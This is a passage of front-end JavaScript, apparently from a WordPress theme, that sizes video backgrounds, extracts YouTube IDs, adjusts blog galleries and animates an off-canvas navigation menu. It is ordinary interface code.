						iframeH = containerH, marginLeft = -Math.round((iframeW - containerW) / 2) + "px", marginTop = -Math.round((iframeH - containerH) / 2) + "px", iframeW += "px", iframeH += "px") : (iframeW = containerW, iframeH = containerW * (ratio2 / ratio1), marginTop = -Math.round((iframeH - containerH) / 2) + "px",
						marginLeft = -Math.round((iframeW - containerW) / 2) + "px", iframeW += "px", iframeH += "px"),
						$element.find(".vc_video-bg iframe").css({
							maxWidth: "1000%",
							marginLeft: marginLeft,
							marginTop: marginTop,
							width: iframeW,
							height: iframeH
						});
					}
					
					function nectarExtractYoutubeId(url) {
						
						if ("undefined" == typeof url) {
							return !1;
						}
						
						var id = url.match(/(?:https?:\/{2})?(?:w{3}\.)?youtu(?:be)?\.(?:com|be)(?:\/watch\?v=|\/)([^\s&]+)/);
						return null !== id ? id[1] : !1
					}
					
					
				}
				
				
				
				
				/**
				* Single Blog Posts
				*
				* @since 11.0
				*/
				function blogSingle() {
					
					// Remove first gallery on post when using the gallery slider option.
					if( $body.hasClass('single-post') && $('.content-inner[data-has-gallery]').length > 0 ) {
						
					
						if($('.wp-block-gallery').length > 0) {
							// Gutenberg.
							$('.content-inner').find('.wp-block-gallery').each(function(i) {
								if(i !== 0) {
										$(this).css('display','flex');
								}
							});
							
						} else {
							// Classic Editor.
							$('.content-inner').find('.gallery').each(function(i) {
								if(i !== 0) {
										$(this).css('display','block');
								}
							});
							
						}
						
					} // If using gallery slider on single conditional end.
					
				}
				

				
				
				
				/*-------------------------------------------------------------------------*/
				/*	Header + Search
				/*-------------------------------------------------------------------------*/
				
				/**
				* Correct megamenus in mobile navigation.
				*
				* @since 8.0
				*/
				function mobileNavMegamenuCorrect() {
					
					////mobile megamenus without titles / nested groupings
					var $mobileNavSelector = ( $('#top #mobile-menu').length > 0 ) ? '#top #mobile-menu ' : '.off-canvas-menu-container.mobile-only ';
					
					$($mobileNavSelector + '.megamenu > ul > li > a').each(function () {
						if ($(this).text() == '-' || $(this).text() == '–' || $(this).parent().hasClass('hide-title')) {
							var $navLIs = $(this).parent().find('> ul > li').clone();
							$(this).parent().find('ul').remove();
							$(this).parent().parent().append($navLIs);
							$(this).parent().remove();
						}
					});
					
				}
				
				
				
				
				
				
				
				
				/**
				* Material theme skin off canvas menu initialization.
				*
				* @since 10.5
				*/
				function materialSkinOCM_Init() {
					
					if ($('body.material[data-slide-out-widget-area-style="slide-out-from-right"]').length > 0) {
						OCM_materialWidth();
						
						if( $wpAdminBar.length > 0 ) {
							var $topToolBar = $wpAdminBar.detach();
							$('.ocm-effect-wrap-inner').append($topToolBar);
						}
						
					}
					
					OCM_materialIconMarkup();
					materialSkinTransition();
					
					$window.on('resize', OCM_materialSize);
					
				}
				
				

				
				/**
				* Material theme skin transition helper
				*
				* @since 10.5
				*/
				function materialSkinTransition() {
					
					if ($('body.material[data-header-search="true"]').length > 0 || 
					$('body.material .ocm-effect-wrap').length > 0) {
						
						var materialTransTO,
						allowMaterialResizeCalc = false,
						orientTrack = 0,
						$winDOMWidth  = nectarDOMInfo.winW,
						$winDOMHeight = nectarDOMInfo.winH;
						
						// For mobile make sure the orientation has changed.
						window.addEventListener("orientationchange", function () {
							orientTrack = 1;
						});
							
						// Resize.
						$window.on('resize', function () {
							
							if( nectarDOMInfo.usingMobileBrowser ) {
								// Mobile.
								if (($window.width() != $winDOMWidth && $window.height != $winDOMHeight) || orientTrack === 1) {
									
									// Store the current window dimensions.
									$winDOMWidth  = nectarDOMInfo.winW;
									$winDOMHeight = nectarDOMInfo.winH;
									
									// Reset orientation change tracker.
									orientTrack = 0;
									
									// Set to allow.
									allowMaterialResizeCalc = true;
									
								}
							} else {
								// Desktop always allows.
								allowMaterialResizeCalc = true;
							}
							
							if(allowMaterialResizeCalc) {
								
								clearTimeout(materialTransTO);
								
								$('body[data-slide-out-widget-area-style="slide-out-from-right"] > a.slide_out_area_close, .material #header-outer, .ocm-effect-wrap, .ocm-effect-wrap-shadow')
									.addClass('no-material-transition');
								
								materialTransTO = setTimeout(function () {
									$('body[data-slide-out-widget-area-style="slide-out-from-right"] > a.slide_out_area_close, .material #header-outer, .ocm-effect-wrap, .ocm-effect-wrap-shadow')
										.removeClass('no-material-transition');
								}, 250);
								
								OCM_materialWidth();

								// Reset allow.
								allowMaterialResizeCalc = false;
								
							} // endif for allow.
							
						}); // end resize.
						
					}
					
				}
				
				
				
				/**
				* Calculate off canvas menu slide out from right on hover
				*
				* @since 8.0
				*/
				function calculateHoverNavMinHeight() {
					
					var $widgetHeights = 0;
					$('#slide-out-widget-area > .widget').each(function () {
						$widgetHeights += $(this).height();
					});
					
					var $menuHeight; 

					if(($offCanvasEl.height() - 25 - $('.bottom-meta-wrap').outerHeight(true) - $widgetHeights) > $('#slide-out-widget-area .off-canvas-menu-container:last-child').height()) {
						$menuHeight = $offCanvasEl.height() - 25 - $('.bottom-meta-wrap').outerHeight(true) - $widgetHeights;
					} else {
						$menuHeight = $('#slide-out-widget-area .off-canvas-menu-container:last-child').height();
					}
					
					$('#slide-out-widget-area .inner').css({
						'height': 'auto',
						'min-height': $menuHeight
					});
					
					$('#slide-out-widget-area > .inner .off-canvas-menu-container').transition({
						y: '-' + ($('#slide-out-widget-area > .inner .off-canvas-menu-container:last-child').height() / 2) + 'px'
					}, 0);
					
				}
				
				
				/**
				* Material theme skin off canvas menu width.
				*
				* @since 8.0
				*/
				function OCM_materialWidth() {

					$('#slide-out-widget-area.slide-out-from-right').css({
						'padding-top': $window.height() * 0.1,
						'padding-bottom': $window.height() * 0.1
					});
					
					OCM_overflowState();
				}
				
				

				/**
				* Material theme skin off canvas menu icon markup
				*
				* @since 8.0
				*/
				function OCM_materialIconMarkup() {
					
					if ($('body.material').length > 0 && $('body[data-slide-out-widget-area-style="slide-out-from-right-hover"]').length == 0 ) {
						
						if ($('body[data-slide-out-widget-area-style*="fullscreen"]').length == 0 && $('#mobile-menu').length == 0) {
							var $menuIconClone = $('header#top nav ul .slide-out-widget-area-toggle a > span > i').clone();
							$menuIconClone.addClass('hover-effect');
							$('header#top nav ul .slide-out-widget-area-toggle a > span').append($menuIconClone);
							
							var $menuIconClone2 = $('header#top .slide-out-widget-area-toggle.mobile-icon a > span > i').clone();
							$menuIconClone2.addClass('hover-effect');
							$('header#top .slide-out-widget-area-toggle.mobile-icon a > span').append($menuIconClone2);
						}
						
						$('body:not([data-slide-out-widget-area-style="slide-out-from-right"]) header#top .slide-out-widget-area-toggle a > span')
							.append($('<span class="close-wrap"> <span class="close-line close-line1"></span> <span class="close-line close-line2"></span> </span>'));
					}
					
					if ($('body.material #boxed').length > 0 && $('body[data-slide-out-widget-area-style="slide-out-from-right-hover"]').length > 0) {
						$('#ajax-content-wrap > .slide-out-widget-area-toggle.slide-out-hover-icon-effect').insertAfter('.ocm-effect-wrap');
					}
					
					//move material skin default ocm
					if ($('body.material').length > 0 && $('body[data-slide-out-widget-area-style*="fullscreen"]').length == 0) {
						$('body.material #slide-out-widget-area.slide-out-from-right .slide_out_area_close').insertAfter('.ocm-effect-wrap');
						$('#slide-out-widget-area-bg').insertAfter('.ocm-effect-wrap');
						$offCanvasEl.insertAfter('.ocm-effect-wrap');
					}
					
				}
				

				
				/**
				* Material theme skin off canvas menu height
				*
				* @since 8.0
				*/
				function OCM_materialSize() {
					if ($('.ocm-effect-wrap.material-ocm-open').length > 0) {
						
						$('.ocm-effect-wrap').css({
							'height': $window.height()
						});
						
						$('.ocm-effect-wrap-inner').css({
							'padding-top': nectarDOMInfo.adminBarHeight
						});

					}
				}
				

				
				/**
				* Off canvas menu dropdown markup
				*
				* @since 8.0
				*/
				function OCM_dropdownMarkup() {
					var $nectar_ocm_dropdown_func = ($('#slide-out-widget-area[data-dropdown-func]').length > 0) ? $offCanvasEl.attr('data-dropdown-func') : 'default';
					if ($nectar_ocm_dropdown_func == 'separate-dropdown-parent-link') {
						$('#slide-out-widget-area .off-canvas-menu-container li.menu-item-has-children').append('<span class="ocm-dropdown-arrow"><i class="fa fa-angle-down"></i></span>');
					}
				}
				
				
				
				
				
				/**
				* Off canvas menu dropdown icon position.
				*
				* @since 8.0
				*/
				function OCM_dropdownIconPos() {
					$('#slide-out-widget-area[class*="slide-out-from-right"] .off-canvas-menu-container li.menu-item-has-children').each(function () {
						$(this).find('.ocm-dropdown-arrow').css({
							'top': $(this).find('a').height() / 2
						});
					});
				}
				
				
				
				

				
				/**
				* Off canvas menu overflow scrolling.
				*
				* @since 8.0
				*/
				function OCM_overflowState() {
					
					//switch position of social media/extra info based on screen size
					if (nectarDOMInfo.winW < 1000 || 
					$('body > #boxed').length > 0 || 
					$('.ocm-effect-wrap-inner > #boxed').length > 0) {
						
						$('#slide-out-widget-area.fullscreen .off-canvas-social-links, #slide-out-widget-area.fullscreen-alt .off-canvas-social-links').appendTo('#slide-out-widget-area .inner');
						$('#slide-out-widget-area.fullscreen .bottom-text, #slide-out-widget-area.fullscreen-alt .bottom-text').appendTo('#slide-out-widget-area .inner');
						
					} else {
						$('#slide-out-widget-area.fullscreen .off-canvas-social-links,#slide-out-widget-area.fullscreen-alt .off-canvas-social-links').appendTo('#slide-out-widget-area .inner-wrap');
						$('#slide-out-widget-area.fullscreen .bottom-text, #slide-out-widget-area.fullscreen-alt .bottom-text').appendTo('#slide-out-widget-area .inner-wrap');
					}
					
					//add overflow
					if ($('#slide-out-widget-area[class*="fullscreen"] .inner').height() >= $window.height() - 100) {
						$('#slide-out-widget-area[class*="fullscreen"] .inner, #slide-out-widget-area[class*="fullscreen"]').addClass('overflow-state');
					} else {
						$('#slide-out-widget-area[class*="fullscreen"] .inner, #slide-out-widget-area[class*="fullscreen"]').removeClass('overflow-state');
					}
					
					$('#slide-out-widget-area[class*="fullscreen"] .inner').transition({
						y: '-' + ($('#slide-out-widget-area[class*="fullscreen"] .inner').height() / 2) + 'px'
					}, 0);
					
					//close mobile only slide out widget area if switching back to desktop
					if ($('.slide-out-from-right.open .off-canvas-menu-container.mobile-only').length > 0 && $('body.mobile').length == 0) {
						$('#slide-out-widget-area .slide_out_area_close').trigger('click');
					}
					
					//sizing for dropdown
					OCM_dropdownIconPos();
					
				}
				
				
	
				/**
				* Off canvas menu: slide out from right hover open.
				*
				* @since 10.5
				*/
				function OCM_slideOutRightHoverOpen() {
					
					calculateHoverNavMinHeight();
					
					if ( nectarDOMInfo.usingMobileBrowser && $('#slide-out-widget-area.open').length > 0 ) {
						OCM_mobileSlideOutRightHoverCloseCheck();
						return;
					}
					
					if( nectarDOMInfo.usingMobileBrowser ) {
						$('.slide-out-widget-area-toggle a').attr('aria-expanded','true');
					}
					
					$offCanvasEl.css({
						'transform': 'translate3d(0,0,0)'
					}).addClass('open');
					
					// Icon effect
					// Set position
					if ($('header#top .container .span_9 > .slide-out-widget-area-toggle').length > 0) {
						
						var $hIconEl       = $('.slide-out-hover-icon-effect'),
						secondaryBarHeight = nectarDOMInfo.secondaryHeaderHeight;
						
						var $nectarHamMenuPos;
						
						if ($('body.mobile').length > 0) {
							
							$hIconEl.css({
								'top': $('header#top .span_9 > .slide-out-widget-area-toggle a').offset().top - nectarDOMInfo.scrollTop,
								'right': parseInt($('#header-outer header > .container').css('padding-right')) + 1
							});
							
						} else {
							
							if ($bodyBorderHeaderColorMatch) {
								
								var $extraCushion = ($('#header-outer[data-has-menu="false"]').length > 0) ? 2 : 1;
								$hIconEl.css({
									'top': nectarDOMInfo.adminBarHeight + secondaryBarHeight + parseInt($('header#top nav >ul .slide-out-widget-area-toggle a').css('padding-top')),
									'right': 29 + $extraCushion
								});
								
							} else {
								
								if ($('#header-outer[data-format="centered-menu-bottom-bar"]').length > 0) {
									$nectarHamMenuPos = ($('header#top .span_9 > .slide-out-widget-area-toggle').css('display') == 'block') ? $('header#top .span_9 > .slide-out-widget-area-toggle.mobile-icon').position() : $('header#top .span_3 .right-side .slide-out-widget-area-toggle > div').offset();
									
									$hIconEl.css({
										'top': parseInt($nectarHamMenuPos.top) - nectarDOMInfo.scrollTop,
										'right': parseInt($('#header-outer header >.container').css('padding-right')) + 2
									});
								} else {
									
									if( $body.hasClass('ascend') ) {
										$nectarHamMenuPos = ($('header#top .span_9 > .slide-out-widget-area-toggle').css('display') == 'block') ? $('header#top .span_9 > .slide-out-widget-area-toggle.mobile-icon').position() : $('header#top nav .buttons .slide-out-widget-area-toggle > div a > span').position();
									} else {
										$nectarHamMenuPos = ($('header#top .span_9 > .slide-out-widget-area-toggle').css('display') == 'block') ? $('header#top .span_9 > .slide-out-widget-area-toggle.mobile-icon').position() : $('header#top nav .buttons .slide-out-widget-area-toggle > div').position();
									}
									
									
									if ($('#header-secondary-outer.hide-up').length > 0) {
										secondaryBarHeight = 0;
									}
									
									$hIconEl.css({
										'top': nectarDOMInfo.adminBarHeight + secondaryBarHeight + parseInt($nectarHamMenuPos.top),
										'right': parseInt($('#header-outer header >.container').css('padding-right')) + 2
									});
								}
								
							} // No body border color match.
							
						} //Not on mobile.
						
					}
					
					////Open
					$('.slide-out-hover-icon-effect .lines-button')
						.removeClass('no-delay')
						.addClass('unhidden-line');
					
					if ($('#header-outer[data-permanent-transparent="1"]').length == 0 && 
						$('#nectar_fullscreen_rows').length == 0 && 
						!nectarDOMInfo.usingFrontEndEditor && 
						nectarDOMInfo.winW > 1000) {
						
						if (!(nectarDOMInfo.scrollTop == 0 && $('#header-outer.transparent').length > 0)) {
							
							if ($('body.mobile').length == 0 && $bodyBorderHeaderColorMatch) {
								
								$headerOuterEl.attr('data-transparent', 'true').addClass('no-bg-color').addClass('slide-out-hover');
								$('#header-outer header, #header-outer > .cart-outer').addClass('all-hidden');
							}
							
						}
						
						if ($('#header-outer[data-remove-fixed="1"]').length == 0 && $('body.mobile').length == 0 && $bodyBorderHeaderColorMatch) {

							if (headerResize == true) {
								
								$window.off('scroll', bigNav);
								$window.off('scroll', smallNav);

							} else {
								$window.off('scroll', opaqueCheck);
								$window.off('scroll', transparentCheck);
							}
						}
						
					}
					
					if (!nectarDOMInfo.usingMobileBrowser) {
						$window.on('mousemove.rightOffsetCheck', OCM_slideOutRightHoverCloseCheck);
					}
					
				}
				
				
				/**
				* Off canvas menu: slide out from right hover close
				*
				* @since 10.5
				*/
				function OCM_slideOutRightHoverCloseCheck(e) {
					
					var $windowWidth = $window.width();
					
					if (e.clientX < $windowWidth - 340 - $bodyBorderWidth && $offCanvasEl.hasClass('mouse-accessed')) {
						
						$offCanvasEl.removeClass('mouse-accessed');
						$window.off('mousemove.rightOffsetCheck', OCM_slideOutRightHoverCloseCheck);
						
						$offCanvasEl.css({
							'transform': 'translate3d(341px,0,0)'
						}).removeClass('open');
						
						$headerOuterEl.removeClass('style-slide-out-from-right');
						
						$('.slide-out-hover-icon-effect .lines-button')
							.removeClass('unhidden-line')
							.addClass('no-delay');
						
						if ($('#header-outer[data-permanent-transparent="1"]').length == 0) {
							
							if ($('#header-outer[data-remove-fixed="1"]').length == 0 && $('body.mobile').length == 0 && $bodyBorderHeaderColorMatch) {
								
								if ($('body.mobile').length == 0) {
									$headerOuterEl.removeClass('no-bg-color');
									$('#header-outer header, #header-outer > .cart-outer').removeClass('all-hidden');
								}
							}
							
							if ($('#header-outer[data-remove-fixed="1"]').length == 0 && $('body.mobile').length == 0 && $bodyBorderHeaderColorMatch) {
	
								if (headerResize == true) {
									
									$window.off('scroll.headerResizeEffect');
									
									if (nectarDOMInfo.scrollTop == 0) {
										
										$window.on('scroll.headerResizeEffect', smallNav);
										
										if ($('#header-outer[data-full-width="true"][data-transparent-header="true"]').length > 0 && 
										$bodyBorderTop.length > 0 && 
										$bodyBorderHeaderColorMatch == true && 
										$('#header-outer.pseudo-data-transparent').length > 0) {
											
											$('#header-outer[data-full-width="true"] header > .container').stop(true, true).animate({
												'padding': '0'
											}, {
												queue: false,
												duration: 250,
												easing: 'easeOutCubic'
											});
											
										}
									} else {
										$window.on('scroll.headerResizeEffect', bigNav);
									}
									
								} else {
									
									$window.off('scroll.headerResizeEffectOpaque');
									$window.on('scroll.headerResizeEffectOpaque', opaqueCheck);
								}
							}
						}
					}
					
				}
				
				
				/**
				* Off canvas menu: mobile slide out from right hover close.
				*
				* @since 10.5
				*/
				function OCM_mobileSlideOutRightHoverCloseCheck() {
					
					if(nectarDOMInfo.usingMobileBrowser) {
						$('.slide-out-widget-area-toggle a').attr('aria-expanded','false');
					}
					
					$offCanvasEl.css({
						'transform': 'translate3d(341px,0,0)'
					}).removeClass('open');
					
					$headerOuterEl.removeClass('style-slide-out-from-right');
					
					$('.slide-out-hover-icon-effect .lines-button')
						.removeClass('unhidden-line')
						.addClass('no-delay');
					
					if ($('#header-outer[data-permanent-transparent="1"]').length == 0) {
						
						$headerOuterEl.removeClass('no-bg-color');
						$('#header-outer header').removeClass('all-hidden');
						
					}
					
					
					if ($('#header-outer[data-remove-fixed="1"]').length == 0 && $('body.mobile').length == 0 && $bodyBorderHeaderColorMatch) {
						
						if (headerResize == true) {
							
							$window.off('scroll.headerResizeEffect');
							
							if (nectarDOMInfo.scrollTop == 0) {
								
								$window.on('scroll.headerResizeEffect', smallNav);
								
								if ($('#header-outer[data-full-width="true"][data-transparent-header="true"]').length > 0 && 
								$bodyBorderTop.length > 0 && 
								$bodyBorderHeaderColorMatch == true && 
								$('#header-outer.pseudo-data-transparent').length > 0) {
									
									$('#header-outer[data-full-width="true"] header > .container').stop(true, true).animate({
										'padding': '0'
									}, {
										queue: false,
										duration: 250,
										easing: 'easeOutCubic'
									});
									
								}
							} 
							
							else {
								$window.on('scroll.headerResizeEffect', bigNav);
							}
							
						} else {
							
							$window.off('scroll.headerResizeEffectOpaque');
							$window.on('scroll.headerResizeEffectOpaque', opaqueCheck);
							
						}
						
					}

				}
				
				
				
				/**
				* Off canvas menu: slide out from right hover initialization.
				*
				* @since 10.5
				*/
				function OCM_slideOutRightHoverInit() {
					
						if ($('#ajax-content-wrap > .slide-out-widget-area-toggle').length == 0) {
							
							//icon effect html creation
							$('<div class="slide-out-widget-area-toggle slide-out-hover-icon-effect" data-icon-animation="simple-transform"><div> <a href="#sidewidgetarea" class="closed"> <span> <i class="lines-button x2"> <i class="lines"></i> </i> </span> </a> </div> </div>').insertAfter('#slide-out-widget-area');
							
							if ($('#header-outer[data-has-menu="true"]').length > 0 || $('body[data-header-search="true"]').length > 0 || $('.slide-out-widget-area-toggle a.using-label').length > 0 ) {
								$('.slide-out-widget-area-toggle').addClass('small');
							}
						}
						
						
						//hover triggered
						if (!nectarDOMInfo.usingMobileBrowser) {
							$body.on('mouseenter', '#header-outer .slide-out-widget-area-toggle:not(.std-menu) a', OCM_slideOutRightHoverOpen);
							$offCanvasEl.on('mouseenter', function () {
								$(this).addClass('mouse-accessed');
							});
							
						} else {
							$body.on('click', '.slide-out-widget-area-toggle:not(.std-menu) a', OCM_slideOutRightHoverOpen);
						}
						
						$window.on('smartresize', calculateHoverNavMinHeight);

					
				}
				

				/**
				* Off canvas menu: slide out from right open.
				*
				* @since 10.5
				*/
				function OCM_slideOutRightOpen() {
					
						var $slideOutAmount = ($bodyBorderTop.length > 0 && $('body.mobile').length == 0) ? $bodyBorderTop.height() : 0;
						
						if ($('body.material').length == 0) {
							
							//calc height if used bottom meta
							$('#slide-out-widget-area .inner').css({
								'height': 'auto',
								'min-height': $offCanvasEl.height() - 25 - $('.bottom-meta-wrap').height()
							});
							
							if ($('#boxed').length == 0) {
								
								$('.container-wrap, .home-wrap, #footer-outer:not(#nectar_fullscreen_rows #footer-outer), .nectar-box-roll, #page-header-wrap .page-header-bg-image, #page-header-wrap .nectar-video-wrap, #page-header-wrap .mobile-video-image, #page-header-wrap #page-header-bg > .container, .page-header-no-bg, div:not(.container) > .project-title').stop(true).transition({
									x: '-300px'
								}, 700, 'easeInOutCubic');
								
								var $withinCustomBreakpoint = mobileBreakPointCheck();
								
								if ($('#header-outer[data-format="centered-logo-between-menu"]').length == 0 || $withinCustomBreakpoint) {
									
									if ($('#header-outer[data-transparency-option="1"]').length == 0 || 
									($('#header-outer[data-transparency-option="1"]').length > 0 && $('#header-outer[data-full-width="true"]').length == 0) || 
									$('body.mobile').length > 0) {
										
										$headerOuterEl.stop(true).css('transform', 'translateY(0)').transition({
											x: '-' + (300 + $slideOutAmount) + 'px'
										}, 700, 'easeInOutCubic');
										
									} else {
										
										$headerOuterEl.stop(true).css('transform', 'translateY(0)').transition({
											x: '-' + (300 + $slideOutAmount) + 'px',
											'background-color': 'transparent',
											'border-bottom': '1px solid rgba(255,255,255,0.22)'
										}, 700, 'easeInOutCubic');
										
									}
								} else {
									$('#header-outer header#top nav > ul.buttons, body:not(.material) #header-outer .cart-outer .cart-menu-wrap').transition({
										x: '-300px'
									}, 700, 'easeInOutCubic');
								}
								
							}
							
							$offCanvasEl.stop(true).transition({
								x: '-' + $slideOutAmount + 'px'
							}, 700, 'easeInOutCubic').addClass('open');
							
							
							if ($('#boxed').length == 0) {
								
								// Full width menu adjustments
								if ($('#header-outer[data-full-width="true"]').length > 0 && !$body.hasClass('mobile')) {
									$headerOuterEl.addClass('highzI');
									$('#ascrail2000').addClass('z-index-adj');
									
									if ($('#header-outer[data-format="centered-logo-between-menu"]').length == 0) {
										
										if ($bodyBorderWidth == 0) {
											$('header#top #logo').stop(true).transition({
												x: (300 + $slideOutAmount) + 'px'
											}, 700, 'easeInOutCubic');
										}
										
									}
									
									$('header#top .slide-out-widget-area-toggle .lines-button').addClass('close');
									
									$('body #header-outer nav > ul > li > a').css({
										'margin-bottom': '0'
									});
									
								}
								
							}
							
							$headerOuterEl.addClass('style-slide-out-from-right');
							
							// Fade In BG Overlay
							$offCanvasBG.css({
								'height': '100%',
								'width': '100%'
							}).stop(true).transition({
								'opacity': 1
							}, 700, 'easeInOutCubic', function () {
								$('.slide-out-widget-area-toggle:not(.std-menu) > div > a').removeClass('animating');
							});
							
							// Hide menu if no space
							if ($('#header-outer[data-format="centered-logo-between-menu"]').length == 0) {
								
								var $logoWidth = ($('#logo img:visible').length > 0) ? $('#logo img:visible').width() : $('#logo').width();
								
								if ($('header#top nav > .sf-menu').offset().left - $logoWidth - 300 < 20) {
									$headerOuterEl.addClass('hidden-menu');
								}
								
							} else {
								$headerOuterEl.addClass('hidden-menu-items');
							}
							
							
							if ($('#header-outer[data-remove-fixed="1"]').length == 0 && nectarDOMInfo.winW > 1000) {
								
								if ($bodyBorderHeaderColorMatch == true && headerResize == true) {
									
									$headerOuterEl.stop(true).transition({
										y: '0'
									}, 0).addClass('transparent').css('transition', 'transform');
									if ($headerOuterEl.attr('data-transparent-header') != 'true') {
										$headerOuterEl.attr('data-transparent-header', 'true').addClass('pseudo-data-transparent');
									}
									
									$window.off('scroll', bigNav);
									$window.off('scroll', smallNav);
									
								} else if ($bodyBorderHeaderColorMatch == true) {
									
									$headerOuterEl.addClass('transparent');
									$window.off('scroll', opaqueCheck);
									$window.off('scroll', transparentCheck);
									
									if ($headerOuterEl.attr('data-transparent-header') != 'true') {
										$headerOuterEl.attr('data-transparent-header', 'true').addClass('pseudo-data-transparent');
									}
								}
							}
							
						} else if ($('body.material').length > 0) {
							
							// Material theme skin slide out from right
							
							//move ajax loading outside
							if ($loadingScreenEl.length > 0 && $('.ocm-effect-wrap #ajax-loading-screen').length > 0) {
								$loadingScreenEl.insertBefore('.ocm-effect-wrap');
							}
							
							// Hide secondary header when not at top with hhun
							if (nectarDOMInfo.scrollTop > 40) {
								
								$('body[data-hhun="1"] #header-secondary-outer').addClass('hidden');
							}
							
							
							setTimeout(function () {
								$('.slide-out-widget-area-toggle:not(.std-menu) > div > a').removeClass('animating');
							}, 300);
							$('#slide-out-widget-area, #slide-out-widget-area-bg, #header-outer .slide-out-widget-area-toggle').addClass('material-open');
							
							
							// Handle bottom bar nav
							if ($('body:not(.mobile) #header-outer[data-format="centered-menu-bottom-bar"][data-condense="true"]').length > 0 && 
							$('#header-outer[data-format="centered-menu-bottom-bar"] .span_9').css('display') != 'none') {
								
								$('#header-outer:not(.fixed-menu)').css('top', nectarDOMInfo.adminBarHeight - nectarDOMInfo.scrollTop + 'px');
								
								if ($headerSecondaryEl.length > 0 && $('#header-outer.fixed-menu').length > 0) {
									$headerSecondaryEl.css('visibility', 'hidden');
								}
								
							}
							
							$('#ajax-content-wrap').css({
								'position': 'relative',
								'top': '-' + nectarDOMInfo.scrollTop + 'px'
							});

							$('.ocm-effect-wrap-inner').css({
								'padding-top': nectarDOMInfo.adminBarHeight
							});
							
							$('#fp-nav').addClass('material-ocm-open');
							
							$body.addClass('material-ocm-open');
							$body.addClass('nectar-no-flex-height');
							
							$('.ocm-effect-wrap').css({
								'height': nectarDOMInfo.winH
							});
							
							setTimeout(function () {
								$('.ocm-effect-wrap').addClass('material-ocm-open');
							}, 40);
							
							
							$('body > .slide_out_area_close').addClass('follow-body');
							
							//icon effect
							$('#header-outer:not([data-format="left-header"]) header#top .slide-out-widget-area-toggle a').addClass('effect-shown');
							
							//handle hhun when at top
							$('body[data-hhun="1"]:not(.no-scroll):not(.mobile) #header-outer[data-permanent-transparent="false"]:not(.detached):not(.parallax-contained):not(.at-top-before-box)').css({
								'transition': 'none',
								'transform': 'translateY(' + nectarDOMInfo.adminBarHeight + 'px)'
							});
							
							setTimeout(function () {
								$('body > .slide_out_area_close').addClass('material-ocm-open');
							}, 350);
							
							
						}
						
				}
				
				
				/**
				* Off canvas menu: slide out from right close.
				*
				* @since 10.5
				*/
				function OCM_slideOutRightClose() {
					
					if ($('body.material').length == 0) {
						
						$('.container-wrap, .home-wrap, #footer-outer:not(#nectar_fullscreen_rows #footer-outer), .nectar-box-roll, #page-header-wrap .page-header-bg-image,  #page-header-wrap .nectar-video-wrap, #page-header-wrap .mobile-video-image, #page-header-wrap #page-header-bg > .container, .page-header-no-bg, div:not(.container) > .project-title').stop(true).transition({
							x: '0px'
						}, 700, 'easeInOutCubic');
						
						if ($('#header-outer[data-transparency-option="1"]').length > 0 && $('#boxed').length == 0) {
							var $currentRowBG = ($('#header-outer[data-current-row-bg-color]').length > 0) ? $headerOuterEl.attr('data-current-row-bg-color') : $headerOuterEl.attr('data-user-set-bg');
							$headerOuterEl.stop(true).transition({
								x: '0px',
								'background-color': $currentRowBG
							}, 700, 'easeInOutCubic');
						} else {
							$headerOuterEl.stop(true).transition({
								x: '0px'
							}, 700, 'easeInOutCubic');
						}
						
						$offCanvasEl.stop(true).transition({
							x: '301px'
						}, 700, 'easeInOutCubic').removeClass('open');
						
						
						if ($('#boxed').length == 0) {
							if ($('#header-outer[data-full-width="true"]').length > 0) {
								$headerOuterEl.removeClass('highzI');
								$('header#top #logo').stop(true).transition({
									x: '0px'
								}, 700, 'easeInOutCubic');
								$('.lines-button').removeClass('close');
								
							}
						}
						
						if ($('#header-outer[data-format="centered-logo-between-menu"]').length > 0) {
							$('#header-outer header#top nav > ul.buttons, #header-outer .cart-outer .cart-menu-wrap').stop(true).transition({
								x: '0px'
							}, 700, 'easeInOutCubic');
						}
						
						//fade out overlay
						$offCanvasBG.stop(true).transition({
							'opacity': 0
						}, 700, 'easeInOutCubic', function () {
							
							$('.slide-out-widget-area-toggle a').removeClass('animating');
							
							$(this).css({
								'height': '1px',
								'width': '1px'
							});
							
							if ($('#header-outer[data-remove-fixed="1"]').length == 0) {
								
								//hide menu if transparent, user has scrolled down and hhun is on
								if ($headerOuterEl.hasClass('parallax-contained') && 
								nectarDOMInfo.scrollTop > 0 && 
								$('#header-outer[data-permanent-transparent="1"]').length == 0) {
									$headerOuterEl.removeClass('parallax-contained').addClass('detached').removeClass('transparent');
								} 
								else if (nectarDOMInfo.scrollTop == 0 && $('body[data-hhun="1"]').length > 0 && $('#page-header-bg[data-parallax="1"]').length > 0 ||
								nectarDOMInfo.scrollTop == 0 && $('body[data-hhun="1"]').length > 0 && $('.parallax_slider_outer').length > 0) {
									
									if ($('#header-outer[data-transparency-option="1"]').length > 0) {
										$headerOuterEl.addClass('transparent');
									}
									
									$headerOuterEl
										.addClass('parallax-contained')
										.removeClass('detached');
									
								}
								
							}
							
							//fix for fixed subpage menu
							$('.container-wrap').css('transform', 'none');
							
						});
						
						
						$headerOuterEl.removeClass('style-slide-out-from-right');
						
					
						if ($('#header-outer[data-remove-fixed="1"]').length == 0) {
							
							if ($bodyBorderHeaderColorMatch == true && 
								headerResize == true && 
								nectarDOMInfo.winW > 1000) {
								
								$window.off('scroll.headerResizeEffect');
								if (nectarDOMInfo.scrollTop == 0) {
									
									$window.on('scroll.headerResizeEffect', smallNav);
									
									if ($('#header-outer[data-full-width="true"][data-transparent-header="true"]').length > 0 && 
									$bodyBorderTop.length > 0 && 
									$bodyBorderHeaderColorMatch == true && 
									$('#header-outer.pseudo-data-transparent').length > 0) {
										
										$('#header-outer[data-full-width="true"] header > .container').stop(true, true).animate({
											'padding': '0'
										}, {
											queue: false,
											duration: 250,
											easing: 'easeOutCubic'
										});
										
									}
								} else {
									$window.on('scroll.headerResizeEffect', bigNav);
								}
								
								if ($headerOuterEl.hasClass('pseudo-data-transparent')) {
									
									$headerOuterEl.attr('data-transparent-header', 'false')
										.removeClass('pseudo-data-transparent')
										.removeClass('transparent');
								}
								
								$headerOuterEl.css('transition', 'transform');
								
							} else if ($bodyBorderHeaderColorMatch == true && nectarDOMInfo.winW > 1000) {
								
								$window.off('scroll.headerResizeEffectOpaque');
								$window.on('scroll.headerResizeEffectOpaque', opaqueCheck);
								
								$headerOuterEl.css('transition', 'transform');
								
								if ($headerOuterEl.hasClass('pseudo-data-transparent')) {
									$headerOuterEl.attr('data-transparent-header', 'false')
										.removeClass('pseudo-data-transparent')
										.removeClass('transparent');
								}
							}
						}
					} 
					
					else if ($('body.material').length > 0) {
						
						//material
						$offCanvasEl.removeClass('open');
						
